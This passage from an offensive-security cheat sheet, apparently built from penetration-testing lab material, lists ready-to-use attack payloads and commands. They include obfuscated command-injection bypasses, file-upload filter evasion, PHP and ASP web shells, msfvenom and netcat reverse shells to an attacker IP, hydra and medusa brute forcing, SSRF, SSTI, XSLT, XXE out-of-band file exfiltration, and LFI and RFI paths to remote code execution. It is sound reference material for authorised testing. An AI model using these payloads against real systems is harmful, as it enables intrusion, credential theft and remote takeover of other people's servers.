b'a's'h'<<<$('b'a's'e'6'4 -d<<<dW5hbWUgLWE=)
l's'${IFS}${PATH:0:1}${IFS}-a'l'
```

{% hint style="info" %}

#### Trick : you can use intruder cluster bomb to try all possible cases

{% endhint %}

## **File Upload**

> Character Injection - Before/After Extension to generate list of possible filenames to bypass file upload filters on white or black listings.

```bash
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
    for ext in '.php' '.php3' '.php4' '.php5' '.php7' '.php8' '.pht' '.phar' '.phpt' '.pgif' '.phtml' '.phtm'; do
        echo "shell$char$ext.jpg" >> filenames_wordlist.txt
        echo "shell$ext$char.jpg" >> filenames_wordlist.txt
        echo "shell.jpg$char$ext" >> filenames_wordlist.txt
        echo "shell.jpg$ext$char" >> filenames_wordlist.txt
    done
done
```

#### Web Shells

<table data-header-hidden><thead><tr><th width="477.1817626953125"></th><th></th></tr></thead><tbody><tr><td><strong>Web Shell</strong></td><td><strong>Description</strong></td></tr><tr><td><code>&#x3C;?php file_get_contents('/etc/passwd'); ?></code></td><td>Basic PHP File Read</td></tr><tr><td><code>&#x3C;?php system('hostname'); ?></code></td><td>Basic PHP Command Execution</td></tr><tr><td><code>&#x3C;?php system($_REQUEST['cmd']); ?></code></td><td>Basic PHP Web Shell</td></tr><tr><td><code>&#x3C;% eval request('cmd') %></code></td><td>Basic ASP Web Shell</td></tr><tr><td><code>msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php</code></td><td>Generate PHP reverse shell</td></tr><tr><td><a href="https://github.com/Arrexel/phpbash">PHP Web Shell</a></td><td>PHP Web Shell</td></tr><tr><td><a href="https://github.com/pentestmonkey/php-reverse-shell">PHP Reverse Shell</a></td><td>PHP Reverse Shell</td></tr><tr><td><a href="https://github.com/danielmiessler/SecLists/tree/master/Web-Shells">Web/Reverse Shells</a></td><td>Seclists Web Shells</td></tr><tr><td><a href="https://www.revshells.com/">https://www.revshells.com/</a></td><td>Automated reverse shell</td></tr></tbody></table>

#### Bypasses

| **Command**                                                                                                                                | **Description**                              |
| ------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------- |
| **Blacklist Bypass**                                                                                                                       |                                              |
| `shell.phtml`                                                                                                                              | Uncommon Extension                           |
| `shell.pHp`                                                                                                                                | Case Manipulation                            |
| [PHP Extensions](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst) | List of PHP Extensions                       |
| [ASP Extensions](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Extension%20ASP)                | List of ASP Extensions                       |
| [Web Extensions](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt)                          | List of Web Extensions                       |
| **Whitelist Bypass**                                                                                                                       |                                              |
| `shell.jpg.php`                                                                                                                            | Double Extension                             |
| `shell.php.jpg`                                                                                                                            | Reverse Double Extension                     |
| `%20`, `%0a`, `%00`, `%0d0a`, `/`, `.\`, `.`, `…`                                                                                          | Character Injection - Before/After Extension |
| **Content/Type Bypass**                                                                                                                    |                                              |
| [Web Content-Types](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)                             | List of Web Content-Types                    |
| [Content-Types](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-all-content-types.txt)                    | List of All Content-Types                    |
| [File Signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)                                                                   | List of File Signatures/Magic Bytes          |

#### Limited Uploads

| **Potential Attack** | **File Types**          |
| -------------------- | ----------------------- |
| `XSS`                | HTML, JS, SVG, GIF      |
| `XXE`/`SSRF`         | XML, SVG, PDF, PPT, DOC |
| `DoS`                | ZIP, JPG, PNG           |

## **Login Brute Forcing**

```bash
hydra [-l LOGIN|-L FILE] [-p PASS|-P FILE] [-C FILE] -m MODULE [service://server[:PORT][/OPT]]
medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh
medusa -h www.example.com -U users.txt -P passwords.txt -M http -m GET
```

<table><thead><tr><th width="435.3636474609375">Command</th><th>Description</th></tr></thead><tbody><tr><td><code>hydra -C wordlist.txt SERVER_IP -s PORT http-get /</code></td><td>Basic Auth Brute Force</td></tr><tr><td><code>hydra -L wordlist.txt -P wordlist.txt -u -f SERVER_IP -s PORT http-get /</code></td><td>Basic Auth Brute Force</td></tr><tr><td><code>hydra -l admin -P wordlist.txt -f SERVER_IP -s PORT http-post-form "/login.php:username=^USER^&#x26;password=^PASS^:F=&#x3C;form name='login'"</code></td><td>Login Form Brute Force</td></tr><tr><td><code>hydra -L bill.txt -P william.txt -u -f ssh://SERVER_IP:PORT -t 4</code></td><td>SSH Brute Force</td></tr><tr><td><code>cupp -i</code></td><td>Creating Custom Password Wordlist</td></tr><tr><td><code>sed -ri '/^.{,7}$/d' william.txt</code></td><td>Remove Passwords Shorter Than 8</td></tr><tr><td><code>sed -ri '/[!-/:-@\[-`\{-~]+/!d' william.txt</code></td><td>Remove Passwords With No Special Chars</td></tr><tr><td><code>sed -ri '/[0-9]+/!d' william.txt</code></td><td>Remove Passwords With No Numbers</td></tr><tr><td><code>./username-anarchy Bill Gates > bill.txt</code></td><td>Generate Usernames List</td></tr></tbody></table>

## Server side request forgery SSRF

#### **Protocols**

{% code overflow="wrap" %}

```http
http://127.0.0.1/
file:///etc/passwd
gopher://dateserver.htb:80/_POST%20/admin.php%20HTTP%2F1.1%0D%0AHost:%20dateserver.htb%0D%0AContent-Length:%2013%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Aadminpw%3Dadmin
```

{% endcode %}

<table><thead><tr><th width="386.27276611328125">Command</th><th>Description</th></tr></thead><tbody><tr><td><code>curl -i -s "http://&#x3C;TARGET IP>/load?q=http://&#x3C;VPN/TUN Adapter IP>:8080"</code></td><td>Testing for SSRF vulnerability</td></tr><tr><td><code>curl -i -s "http://&#x3C;TARGET IP>/load?q=http://&#x3C;VPN/TUN Adapter IP>:9090/index.html"</code></td><td>Retrieving a remote file through the target application (HTTP Schema)</td></tr><tr><td><code>curl -i -s "http://&#x3C;TARGET IP>/load?q=file:///etc/passwd"</code></td><td>Retrieving a local file through the target application (File Schema)</td></tr><tr><td><code>for port in {1..65535};do echo $port >> ports.txt;done</code></td><td>Generating a wordlist of possible ports</td></tr><tr><td><code>ffuf -w ./ports.txt:PORT -u "http://&#x3C;TARGET IP>/load?q=http://127.0.0.1:PORT" -fs 30</code></td><td>Fuzzing for ports on the internal interface</td></tr><tr><td><code>curl -i -s "http://&#x3C;TARGET IP>/load?q=http://127.0.0.1:5000"</code></td><td>Interacting with the internal interface on the discovered port</td></tr><tr><td><code>curl -i -s "http://&#x3C;TARGET IP>/load?q=http://internal.app.local/load?q=index.html"</code></td><td>Interacting with the internal application</td></tr><tr><td><code>curl -i -s "http://&#x3C;TARGET IP>/load?q=http://internal.app.local/load?q=http://127.0.0.1:1"</code></td><td>Discovering web application listening in on localhost</td></tr><tr><td><code>curl -i -s "http://&#x3C;TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:1"</code></td><td>Modifying the URL to bypass the error message</td></tr><tr><td><code>curl -i -s "http://&#x3C;TARGET IP>/load?q=http://internal.app.local/load?q=file:://///proc/self/environ" -o -</code></td><td>Requesting to disclose the /proc/self/environ file on the internal application</td></tr><tr><td><code>curl -i -s "http://&#x3C;TARGET IP>/load?q=http://internal.app.local/load?q=file:://///app/internal_local.py"</code></td><td>Retrieving a local file through the target application</td></tr><tr><td><code>curl -i -s "http://&#x3C;TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=whoami"</code></td><td>Confirming remote code exeuction on the remote host</td></tr></tbody></table>

## SSI Injection

#### SSI Directive Payload Description

<table data-header-hidden><thead><tr><th width="184.45458984375"></th><th></th></tr></thead><tbody><tr><td>Print variables</td><td><code>&#x3C;!--#printenv --></code></td></tr><tr><td>Change config</td><td><code>&#x3C;!--#config errmsg="Error!" --></code></td></tr><tr><td>Print specific variable</td><td><code>&#x3C;!--#echo var="DOCUMENT_NAME" var="DATE_LOCAL" --></code></td></tr><tr><td>Execute command</td><td><code>&#x3C;!--#exec cmd="whoami" --></code></td></tr><tr><td>Date</td><td><code>&#x3C;!--#echo var="DATE_LOCAL" --></code></td></tr><tr><td>Include web file</td><td><code>&#x3C;!--#include virtual="index.html" --></code></td></tr><tr><td>Reverse Shell</td><td><code>&#x3C;!--#exec cmd="mkfifo /tmp/foo;nc &#x3C;PENTESTER IP> &#x3C;PORT> 0&#x3C;/tmp/foo /bin/bash 1>/tmp/foo;rm /tmp/foo" --></code></td></tr></tbody></table>

## SSTI

<table><thead><tr><th width="454.45452880859375">Command</th><th>Description</th></tr></thead><tbody><tr><td><code>${{&#x3C;%[%'"}}%.</code></td><td>Test String</td></tr><tr><td><code>${7*7}</code></td><td>Spring payload</td></tr><tr><td><code>{{_self.env.display("TEST"}}</code></td><td>Twig payload</td></tr><tr><td><code>{{config.items()}}</code></td><td>Jinja2 basic injection</td></tr><tr><td><code>{{ [].class.base.subclasses() }}</code></td><td>Jinja2 dump all classes payload</td></tr><tr><td><code>{% import os %}{{os.system('whoami')}}</code></td><td>Tornado payload</td></tr><tr><td><code>{{7*'7'}}</code></td><td>Confirming Jinja2 backend</td></tr><tr><td><code>./tplmap.py -u 'http://&#x3C;TARGET IP>:&#x3C;PORT>/execute?cmd'</code></td><td>Automating with tplmap</td></tr></tbody></table>

## XSLT Injection

<pre class="language-bash"><code class="lang-bash">&#x3C;xsl:template>	 # This element indicates an XSL template. It can contain a match attribute that contains a path in the XML-document that the template applies to
&#x3C;xsl:value-of>	 # This element extracts the value of the XML node specified in the select attribute
&#x3C;xsl:for-each>	 # This elements enables looping over all XML nodes specified in the select attribute
&#x3C;xsl:sort>	 # This element specifies the node to sort elements in a for loop by in the select argument. Additionally, a sort order may be specified in the order argument
&#x3C;xsl:if>	 # This element can be used to test for conditions on a node. The condition is specified in the test argument
<strong>
</strong><strong># Injection Payloads
</strong># Information Disclosure
&#x3C;xsl:value-of select="system-property('xsl:version')" />
&#x3C;xsl:value-of select="system-property('xsl:vendor')" />
&#x3C;xsl:value-of select="system-property('xsl:vendor-url')" />
&#x3C;xsl:value-of select="system-property('xsl:product-name')" />
&#x3C;xsl:value-of select="system-property('xsl:product-version')" />

# LFI
&#x3C;xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')" />
&#x3C;xsl:value-of select="php:function('file_get_contents','/etc/passwd')" />

# RCE
&#x3C;xsl:value-of select="php:function('system','id')" />
</code></pre>

## XXE

<table data-header-hidden><thead><tr><th width="439.90911865234375"></th><th></th></tr></thead><tbody><tr><td><strong>Code</strong></td><td><strong>Description</strong></td></tr><tr><td><code>&#x3C;!ENTITY xxe SYSTEM "http://localhost/email.dtd"></code></td><td>Define External Entity to a URL</td></tr><tr><td><code>&#x3C;!ENTITY xxe SYSTEM "file:///etc/passwd"></code></td><td>Define External Entity to a file path</td></tr><tr><td><code>&#x3C;!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php"></code></td><td>Read PHP source code with base64 encode filter</td></tr><tr><td><code>&#x3C;!ENTITY % error "&#x3C;!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>"></code></td><td>Reading a file through a PHP error</td></tr><tr><td><code>&#x3C;!ENTITY % oob "&#x3C;!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>"></code></td><td>Reading a file OOB exfiltration</td></tr></tbody></table>

## **File Inclusion**

### Local File Inclusion LFI

| **Command**                                                                                       | **Description**                                           |
| ------------------------------------------------------------------------------------------------- | --------------------------------------------------------- |
| `/etc/passwd`                                                                                     | Basic LFI                                                 |
| `../../../../etc/passwd`                                                                          | LFI with path traversal                                   |
| `....//....//....//....//etc/passwd`                                                              | Bypass basic path traversal filter                        |
| `%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64`                              | Bypass filters with URL encoding                          |
| `/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]` | Bypass appended extension with path truncation (obsolete) |
| `../../../../etc/passwd%00`                                                                       | Bypass appended extension with null byte (obsolete)       |
| `php://filter/read=convert.base64-encode/resource=config`                                         | Read PHP with base64 filter                               |

### Remote Code Execution

| **Command**                                                                                                                 | **Description**                       |
| --------------------------------------------------------------------------------------------------------------------------- | ------------------------------------- |
| **PHP Wrappers**                                                                                                            |                                       |
| `data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id`                                        | RCE with data wrapper                 |
| `curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"` | RCE with input wrapper                |
| `http://<SERVER_IP>:/index.php?language=expect://id`                                                                        | RCE with expect wrapper               |
| **RFI**                                                                                                                     |                                       |
| `echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server <LISTENING_PORT>`                              | Host web shell                        |
| `/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id`                                                     | Include remote PHP web shell          |
| **LFI + Upload**                                                                                                            |                                       |
| `echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif`                                                                     | Create malicious image                |
| `/index.php?language=./profile_images/shell.gif&cmd=id`                                                                     | RCE with malicious uploaded image     |
| `echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php`                                              | Create malicious zip archive 'as jpg' |
| `/index.php?language=zip://shell.zip%23shell.php&cmd=id`                                                                    | RCE with malicious uploaded zip       |
| `php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg`                                                         | Create malicious phar 'as jpg'        |
| `/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id`                                                  | RCE with malicious uploaded phar      |
| **Log Poisoning**                                                                                                           |                                       |
| `/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd`                                                                     | Read PHP session parameters           |
| `%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E`                                                                   | Poison PHP session with web shell     |
| `/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id`                                                              | RCE through poisoned PHP session      |
| `curl -s "http://<SERVER_IP>:<PORT>/index.php" -A '<?php system($_GET["cmd"]); ?>'`                                         | Poison server log                     |
| `/var/log/apache2/access.log&cmd=id`                                                                                        | RCE through poisoned PHP session      |
| `C:\xampp\apache\logs\`                                                                                                     | Apache log files on windows *XAMPP*   |

```powershell
# PHP Wrappers
php://filter/read=string.rot13/resource=index.php
php://filter/convert.iconv.utf-8.utf-16/resource=index.php
php://filter/convert.base64-encode/resource=index.php
pHp://FilTer/convert.base64-encode/resource=index.php
php://filter/zlib.deflate/convert.base64-encode/resource=index.php
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=dir
expect://id
expect://ls
```

#### Misc

| [LFI Wordlists](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)                                                                      |   |
| -------------------------------------------------------------------------------------------------------------------------------------------------------- | - |
| [LFI-Jhaddix.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt)                                                    |   |
| [Webroot path wordlist for Linux](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-linux.txt)     |   |
| [Webroot path wordlist for Windows](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-windows.txt) |   |
| [Server configurations wordlist for Linux](https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Linux)                        |   |
| [Server configurations wordlist for Windows](https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Windows)                    |   |

### File Inclusion Functions

<table data-header-hidden><thead><tr><th width="295.81817626953125"></th><th align="center"></th><th align="center"></th><th align="center"></th></tr></thead><tbody><tr><td><strong>Function</strong></td><td align="center"><strong>Read Content</strong></td><td align="center"><strong>Execute</strong></td><td align="center"><strong>Remote URL</strong></td></tr><tr><td><strong>PHP</strong></td><td align="center"></td><td align="center"></td><td align="center"></td></tr><tr><td><code>include()</code>/<code>include_once()</code></td><td align="center">Yes</td><td align="center">Yes</td><td align="center">Yes</td></tr><tr><td><code>require()</code>/<code>require_once()</code></td><td align="center">Yes</td><td align="center">Yes</td><td align="center">No</td></tr><tr><td><code>file_get_contents()</code></td><td align="center">Yes</td><td align="center">No</td><td align="center">Yes</td></tr><tr><td><code>fopen()</code>/<code>file()</code></td><td align="center">Yes</td><td align="center">No</td><td align="center">No</td></tr><tr><td><strong>NodeJS</strong></td><td align="center"></td><td align="center"></td><td align="center"></td></tr><tr><td><code>fs.readFile()</code></td><td align="center">Yes</td><td align="center">No</td><td align="center">No</td></tr><tr><td><code>fs.sendFile()</code></td><td align="center">Yes</td><td align="center">No</td><td align="center">No</td></tr><tr><td><code>res.render()</code></td><td align="center">Yes</td><td align="center">Yes</td><td align="center">No</td></tr><tr><td><strong>Java</strong></td><td align="center"></td><td align="center"></td><td align="center"></td></tr><tr><td><code>include</code></td><td align="center">Yes</td><td align="center">No</td><td align="center">No</td></tr><tr><td><code>import</code></td><td align="center">Yes</td><td align="center">Yes</td><td align="center">Yes</td></tr><tr><td><strong>.NET</strong></td><td align="center"></td><td align="center"></td><td align="center"></td></tr><tr><td><code>@Html.Partial()</code></td><td align="center">Yes</td><td align="center">No</td><td align="center">No</td></tr><tr><td><code>@Html.RemotePartial()</code></td><td align="center">Yes</td><td align="center">No</td><td align="center">Yes</td></tr><tr><td><code>Response.WriteFile()</code></td><td align="center">Yes</td><td align="center">No</td><td align="center">No</td></tr><tr><td><code>include</code></td><td align="center">Yes</td><td align="center">Yes</td><td align="center">Yes</td></tr></tbody></table>
